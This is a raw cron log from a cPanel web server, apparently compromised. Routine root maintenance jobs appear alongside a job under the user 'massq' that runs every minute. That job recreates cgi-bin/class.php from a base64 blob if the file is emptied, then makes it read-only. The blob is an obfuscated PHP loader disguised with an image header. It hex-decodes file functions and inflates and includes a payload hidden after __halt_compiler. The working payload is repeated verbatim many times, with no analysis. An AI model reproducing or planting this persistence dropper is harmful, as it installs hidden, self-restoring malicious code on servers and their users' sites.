Sep  7 09:56:01 server CROND[11479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:57:01 server CROND[11861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:57:01 server CROND[11862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:57:01 server CROND[11863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:57:01 server CROND[11864]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:58:01 server CROND[12239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:58:01 server CROND[12240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:58:01 server CROND[12241]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:59:02 server CROND[12637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:59:02 server CROND[12638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:59:02 server CROND[12639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:00:01 server CROND[13020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 10:00:01 server CROND[13022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:00:01 server CROND[13026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:00:01 server CROND[13038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:00:01 server CROND[13039]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 10:00:01 server CROND[13041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:00:01 server CROND[13036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:00:01 server CROND[13042]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 10:00:01 server CROND[13043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:00:01 server CROND[13037]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:01:01 server CROND[13975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:01:01 server CROND[13976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:01:01 server CROND[13977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:01:01 server CROND[13978]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 10:01:01 server run-parts(/etc/cron.hourly)[13978]: starting 0anacron
Sep  7 10:01:01 server run-parts(/etc/cron.hourly)[13999]: finished 0anacron
Sep  7 10:02:01 server CROND[14367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:02:01 server CROND[14368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:02:01 server CROND[14369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:03:01 server CROND[14759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:03:01 server CROND[14760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:03:01 server CROND[14761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:04:01 server CROND[15136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:04:01 server CROND[15137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:04:01 server CROND[15138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:05:01 server CROND[15509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:05:01 server CROND[15510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 10:05:01 server CROND[15513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:05:01 server CROND[15515]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 10:05:01 server CROND[15517]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 10:05:01 server CROND[15514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 10:05:01 server CROND[15516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:05:01 server CROND[15518]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 10:06:01 server CROND[16422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:06:01 server CROND[16423]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:06:01 server CROND[16424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:07:01 server CROND[16853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 10:07:01 server CROND[16854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 10:07:01 server CROND[16855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:08:01 server CROND[17229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 10:08:01 server CROND[17230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
